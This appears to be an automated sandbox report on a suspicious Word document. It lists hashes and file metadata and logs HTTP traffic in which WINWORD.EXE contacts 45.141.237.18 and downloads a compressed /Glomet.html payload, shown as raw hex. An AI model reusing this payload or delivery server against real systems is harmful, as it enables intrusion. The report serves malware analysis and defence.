SSDEEP:	3:vrJlaCkWtVyAI/ugXImW4eedln:vdsCkWtpIGgXvdl
MD5:	1674A1C7C99CD9FAADA789F5E2AEB335
SHA1:	26D9E81D5ED584A899A94D5EA8945A5AE3403F85
SHA-256:	BB5F0D32E0E1C8B6865FCE4AE1FC50E34CA954B89E771364A6BE6627F7C726B6
SHA-512:	B2225E8F93F06FFE32B4FDF987D5134BB06F1B0874509E1CC973FD4D30B0F1341CB1AE72FBE9C282A65794A130E2D9C8D4939B789492BC1BCC96394C5F03E02C
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........12..............22.............@32..............32.....z.......p42.....x...

Static File Info

General

File type:	Zip archive data, at least v2.0 to extract
Entropy (8bit):	7.965614028395722
TrID:	Word Microsoft Office Open XML Format document (49504/1) 49.01% Word Microsoft Office Open XML Format document (43504/1) 43.07% ZIP compressed archive (8000/1) 7.92%
File name:	20220714 DWG.doc
File size:	952586
MD5:	5fd0deaaca6ac9645ba3e9aa8af3311c
SHA1:	4823c45cde3606a5189462a8c4441686706d04f3
SHA256:	b78c36823ab0b86b683d165e53405855b8e910c5011997e5a4a4620200cffc0a
SHA512:	f437de0000c2b6aa2c42c9d750b723385da1bf0bce22f2008116392a12a7d168cc8bdf5065fd232889087512ef321a20578e5c4fdb24cd08a5ebf33d31167e1d
SSDEEP:	24576:i1yg5B+jHQ89ihbudaSMcKdth3ut3w7mM4nnl:iJzQQ8U4fwdqtb3l
TLSH:	D51512C5B9A69E8AC3D297318F7DD8005F3BB5734188142EF5C2E65834C7AD6CA53B22
File Content Preview:	PK........o..T................[Content_Types].xml<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.openxmlformats-offi

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 15, 2022 15:19:13.933880091 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:13.967565060 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:13.967688084 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:13.968219995 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:14.012202978 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:14.012552977 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:20.354476929 CEST	49174	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:20.383788109 CEST	80	49174	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:20.383899927 CEST	49174	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:20.384120941 CEST	49174	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:20.414019108 CEST	80	49174	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:20.619471073 CEST	49174	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:24.419188023 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:24.449227095 CEST	80	49175	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:24.449409962 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:24.449606895 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:24.478595018 CEST	80	49175	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:24.674953938 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:25.366034985 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:25.406409979 CEST	80	49175	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:25.406445980 CEST	80	49175	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:25.406594038 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.025697947 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.054836988 CEST	80	49175	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:28.054872036 CEST	80	49175	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:28.054991961 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.092247963 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.122186899 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:28.122217894 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:28.122235060 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:28.122250080 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:28.122273922 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.122318029 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.316083908 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.350343943 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:28.350541115 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.560153008 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.595098972 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:28.595221996 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.633358955 CEST	49174	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:28.665504932 CEST	80	49174	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:28.872771978 CEST	49174	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:29.605073929 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:29.633644104 CEST	80	49175	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:29.633677959 CEST	80	49175	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:29.633810997 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:29.633948088 CEST	49175	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.537292004 CEST	49176	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.580712080 CEST	80	49176	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:30.580872059 CEST	49176	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.580990076 CEST	49176	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.611392975 CEST	80	49176	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:30.611435890 CEST	80	49176	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:30.611593962 CEST	49176	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.624536037 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.661703110 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:30.661853075 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.673917055 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.701828957 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:30.701967001 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.899557114 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:30.933026075 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:30.933279037 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:31.042346954 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:19:31.075503111 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:31.075603008 CEST	80	49173	45.141.237.18	192.168.2.22
Jul 15, 2022 15:19:31.075840950 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:20:30.950697899 CEST	49174	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:20:36.697803020 CEST	49173	80	192.168.2.22	45.141.237.18
Jul 15, 2022 15:21:24.432647943 CEST	49176	80	192.168.2.22	45.141.237.18

HTTP Request Dependency Graph

45.141.237.18

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	45.141.237.18	80	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	kBytes transferred	Direction	Data
Jul 15, 2022 15:19:13.968219995 CEST	0	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: 45.141.237.18 Content-Length: 0 Connection: Keep-Alive
Jul 15, 2022 15:19:14.012202978 CEST	0	IN	HTTP/1.1 200 OK Allow: OPTIONS, TRACE, GET, HEAD, POST Server: Microsoft-IIS/10.0 Public: OPTIONS, TRACE, GET, HEAD, POST Date: Fri, 15 Jul 2022 13:19:13 GMT Content-Length: 0
Jul 15, 2022 15:19:28.092247963 CEST	6	OUT	GET /Glomet.html HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14) UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: 45.141.237.18 Connection: Keep-Alive
Jul 15, 2022 15:19:28.122186899 CEST	7	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Encoding: gzip Last-Modified: Thu, 14 Jul 2022 16:59:59 GMT Accept-Ranges: bytes ETag: "80119226a397d81:0" Vary: Accept-Encoding Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:28 GMT Content-Length: 4357 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bc 5a 7b 77 da c8 92 ff 7f ce 99 ef a0 70 f7 1e 4c 02 08 49 3c 84 6d bc 27 f1 23 f1 ac f3 18 db 49 26 ce e6 78 5b 52 0b 34 16 6a 5d a9 65 4c b2 f9 ee 5b d5 dd 12 02 04 38 73 37 c3 b1 0c 52 77 d7 ab ab 7e 55 d5 70 f8 c4 63 2e 9f c7 54 9b f0 69 78 f4 eb 2f 87 f8 ae 85 24 1a 8f 6a 34 aa e1 93 27 ad d6 af bf 68 f0 7a cd bc c0 0f a8 a7 f9 09 9b 6a 7c 42 b5 13 ea 04 24 d2 58 12 8c 83 88 84 9a cf 12 ed bd 93 45 3c 93 2b 2e 48 ca b5 2c f6 08 a7 de be 66 76 8c 7e cb 30 5a 46 5f 8e 5e 51 ba 0f 7c 79 9c ee eb 7a 48 b2 c8 9d c4 c4 6b 47 94 eb 4e 36 4e 75 c3 b4 ed fe b0 83 93 5b ad 23 7c 3b 9c 50 e2 1d c9 d5 87 53 ca 89 58 de a2 ff ca 82 fb 51 ed 98 45 9c 46 bc 75 0d fa d4 34 57 de 8d 6a 9c 3e 70 1d d5 3a d0 dc 09 49 52 ca 47 ef af cf 5a 76 4d d3 73 52 3c e0 21 3d 7a 1e 13 77 42 4d a5 01 28 e7 93 2c e4 da 3b 32 06 39 cf b9 36 63 c9 5d 7a a8 cb c9 6a 65 ca e7 21 d5 d0 82 8a 91 9b a6 35 6d 4a bd 80 8c 6a a9 9b 50 69 44 4d 7b aa 7d 93 4b a6 24 01 63 ed 6b 9d f8 a1 7c 1d c8 51 30 80 17 44 e3 ea e1 ef bf fe 82 6f 0e f3 e6 4d b1 61 39 cd 62 95 05 b3 4b d7 81 5c 00 4b 88 7b 37 4e 58 16 79 2d 97 85 2c d9 d7 fe 71 62 9f bc 38 35 8b 19 3e 98 ab e5 93 69 10 ce f7 b5 0f 34 f1 48 44 9a 5a 4a a2 b4 95 d2 24 f0 0f 4a d3 d2 e0 2b 58 c4 30 62 ae 9e a2 e6 2d 12 06 63 d0 cb 05 a3 d3 a4 2c af 17 dc b7 a7 24 88 6e 63 b0 64 21 32 4b 03 1e 30 58 90 d0 90 f0 e0 9e 2a 5a 5e 90 c6 21 01 21 38 71 42 5a c8 37 0b 3c 3e d9 d7 ec 4e a7 a4 96 b4 65 cb 61 9c b3 e9 be d2 b8 34 10 52 9f ef 6b 24 e3 6c f9 39 f8 eb 64 79 60 8b dd 95 05 59 e2 d1 a4 a5 c4 30 0b 4e ea 79 6e 55 d3 30 07 96 bd 3c 26 7c 64 5f 4b 59 18 78 db 76 e4 4c bc 8a 19 bb 8d 8a f6 bc c5 90 a0 49 6e d6 09 95 aa 0d 87 85 84 4a 64 a3 d3 f9 e7 56 ee bd b3 fe d9 60 1b 8b 34 86 58 5f f1 62 a3 57 b2 57 af 6c b0 b2 a7 d8 82 75 f1 74 a6 84 74 58 e8 6d 63 18 4c c7 ab fc ac 12 bb ee fa fe ec 6f 8a 19 24 2d 1c ea 96 f9 b7 0a 1a d2 9c b8 1b 52 02 4b d1 5b 16 ae 05 6e 92 6f 76 85 cf fd 50 a8 6d d9 58 c5 73 bb 9c b7 01 a7 d3 6d c2 56 6d 71 2e 67 77 93 43 ef 94 33 7f dc 11 af 83 7f 4b 78 b2 ba 91 fd 92 58 fd f5 bd 52 ab 6f 53 ea 22 4a 54 b9 c1 cf 31 fe 0a e3 5b 9c bf 06 b3 68 53 1b 3d 50 be 6f b7 58 39 10 3a 2a 10 76 31 8c 13 ba aa b2 ad 8c 65 57 e7 0b 5b 0d d9 2b 22 2d e3 96 b1 8a 5b 0a 9b 3c 40 50 ea 55 43 5a a1 cc 6e e8 28 2b 2c 09 07 1c 6c ed 3e 4e e7 65 8d 0b 54 df ed 1d 72 7d 16 36 37 0f 86 c1 d6 4d 34 2a 98 e4 eb 97 01 76 29 d5 f6 95 0b f6 b7 bb a0 7d 3a 3c 7e 61 ae 79 49 e1 99 9b 81 71 25 e1 9a ff ac 88 c2 ea dc b0 2c fd 6d 02 65 db b7 8d 02 1e 9f 98 46 f7 6c 07 89 71 42 e7 5b 68 0c cf 86 96 dd 2f d3 68 fb 21 83 cc 1e 8d 6f 69 48 a7 20 e5 ce dc 2f 16 fc 18 ae 34 b7 fa 44 01 3b c2 60 1e 75 59 42 24 e7 88 45 f4 b1 39 69 13 ef fd 30 88 ee 9a 3b 67 dd 07 a0 2e f5 76 4f 24 2e da a2 00 fa 75 30 79 8c 4c 13 76 bf f0 d6 8a 7d 5a 09 e7 0a 67 dc 15 68 2b 7a 6f 98 53 d6 7a db bc 65 a5 ab 0a d5 e3 93 b3 d3 fe 36 8c dd 2d f0 5f 34 4a c1 7a 89 c7 3d 04 1e b4 34 4c 11 fc ae 5a 01 5d 40 9e ec 53 f4 a2 51 39 c4 6a 3d ef 16 60 35 e4 6f 92 a6 a3 5a 51 10 d7 d4 e0 f2 70 b9 0c 5a 0d a3 c5 0a 58 83 35 52 9a b8 a3 9a 1e 80 ee a9 9e 89 e6 a5 15 b2 31 6b c7 d1 b8 a6 91 10 7a 20 d5 d2 5c c0 d3 5a ce 62 8d ac 5e a6 2b 8a bd Data Ascii: Z{wpLI<m'#I&x[R4j]eL[8s7Rw~Upc.Tix/$j4'hzj\|B$XE<+.H,fv~0ZF_^Q\|yzHkGN6Nu[#\|;PSXQEFu4Wj>p:IRGZvMsR<!=zwBM(,;296c]zje!5mJjPiDM{}K$ck\|Q0DoMa9bK\K{7NXy-,qb85>i4HDZJ$J+X0b-c,$ncd!2K0XZ^!!8qBZ7<>Nea4Rk$l9dy`Y0NynU0<&\|d_KYxvLInJdV`4X_bWWluttXmcLo$-RK[novPmXsmVmq.gwC3KxXRoS"JT1[hS=PoX9:v1eW[+"-[<@PUCZn(+,l>NeTr}67M4*v)}:<~ayIq%,meFlqB[h/h!oiH /4D;`uYB$E9i0;g.vO$.u0yLv}Zgh+zoSze6-_4Jz=4LZ]@SQ9j=`5oZQpZX5R1kz \Zb^+
Jul 15, 2022 15:19:28.316083908 CEST	11	OUT	HEAD /Glomet.html HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: 45.141.237.18 Content-Length: 0 Connection: Keep-Alive
Jul 15, 2022 15:19:28.350343943 CEST	11	IN	HTTP/1.1 200 OK Content-Length: 13687 Content-Type: text/html Last-Modified: Thu, 14 Jul 2022 16:59:59 GMT Accept-Ranges: bytes ETag: "3136d726a397d81:0" Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:28 GMT
Jul 15, 2022 15:19:28.560153008 CEST	11	OUT	HEAD /Glomet.html HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: 45.141.237.18 Content-Length: 0 Connection: Keep-Alive
Jul 15, 2022 15:19:28.595098972 CEST	11	IN	HTTP/1.1 200 OK Content-Length: 13687 Content-Type: text/html Last-Modified: Thu, 14 Jul 2022 16:59:59 GMT Accept-Ranges: bytes ETag: "3136d726a397d81:0" Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:28 GMT
Jul 15, 2022 15:19:30.624536037 CEST	16	OUT	GET /Glomet.html HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14) UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: 45.141.237.18 If-Modified-Since: Thu, 14 Jul 2022 16:59:59 GMT If-None-Match: "80119226a397d81:0" Connection: Keep-Alive
Jul 15, 2022 15:19:30.661703110 CEST	16	IN	HTTP/1.1 304 Not Modified Date: Fri, 15 Jul 2022 13:19:30 GMT Etag: "80119226a397d81:0"
Jul 15, 2022 15:19:30.673917055 CEST	17	OUT	HEAD /Glomet.html HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: 45.141.237.18 Content-Length: 0 Connection: Keep-Alive
Jul 15, 2022 15:19:30.701828957 CEST	17	IN	HTTP/1.1 200 OK Content-Length: 13687 Content-Type: text/html Last-Modified: Thu, 14 Jul 2022 16:59:59 GMT Accept-Ranges: bytes ETag: "3136d726a397d81:0" Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:30 GMT
Jul 15, 2022 15:19:30.899557114 CEST	17	OUT	HEAD /Glomet.html HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: 45.141.237.18 Content-Length: 0 Connection: Keep-Alive
Jul 15, 2022 15:19:30.933026075 CEST	18	IN	HTTP/1.1 200 OK Content-Length: 13687 Content-Type: text/html Last-Modified: Thu, 14 Jul 2022 16:59:59 GMT Accept-Ranges: bytes ETag: "3136d726a397d81:0" Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:30 GMT
Jul 15, 2022 15:19:31.042346954 CEST	18	OUT	GET /icons/ubuntu-logo.png HTTP/1.1 Accept: / Referer: http://45.141.237.18/Glomet.html Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 45.141.237.18 Connection: Keep-Alive
Jul 15, 2022 15:19:31.075503111 CEST	19	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:30 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	45.141.237.18	80	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	kBytes transferred	Direction	Data
Jul 15, 2022 15:19:20.384120941 CEST	1	OUT	HEAD /Glomet.html HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: 45.141.237.18
Jul 15, 2022 15:19:20.414019108 CEST	1	IN	HTTP/1.1 200 OK Content-Length: 13687 Content-Type: text/html Last-Modified: Thu, 14 Jul 2022 16:59:59 GMT Accept-Ranges: bytes ETag: "3136d726a397d81:0" Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:20 GMT
Jul 15, 2022 15:19:28.633358955 CEST	12	OUT	HEAD /Glomet.html HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: 45.141.237.18
Jul 15, 2022 15:19:28.665504932 CEST	12	IN	HTTP/1.1 200 OK Content-Length: 13687 Content-Type: text/html Last-Modified: Thu, 14 Jul 2022 16:59:59 GMT Accept-Ranges: bytes ETag: "3136d726a397d81:0" Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:28 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49175	45.141.237.18	80	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	kBytes transferred	Direction	Data
Jul 15, 2022 15:19:24.449606895 CEST	1	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: 45.141.237.18
Jul 15, 2022 15:19:24.478595018 CEST	1	IN	HTTP/1.1 200 OK Allow: OPTIONS, TRACE, GET, HEAD, POST Server: Microsoft-IIS/10.0 Public: OPTIONS, TRACE, GET, HEAD, POST Date: Fri, 15 Jul 2022 13:19:24 GMT Content-Length: 0
Jul 15, 2022 15:19:25.406409979 CEST	3	IN	HTTP/1.1 405 Method Not Allowed Allow: GET, HEAD, OPTIONS, TRACE Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Fri, 15 Jul 2022 13:19:24 GMT Content-Length: 1293 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 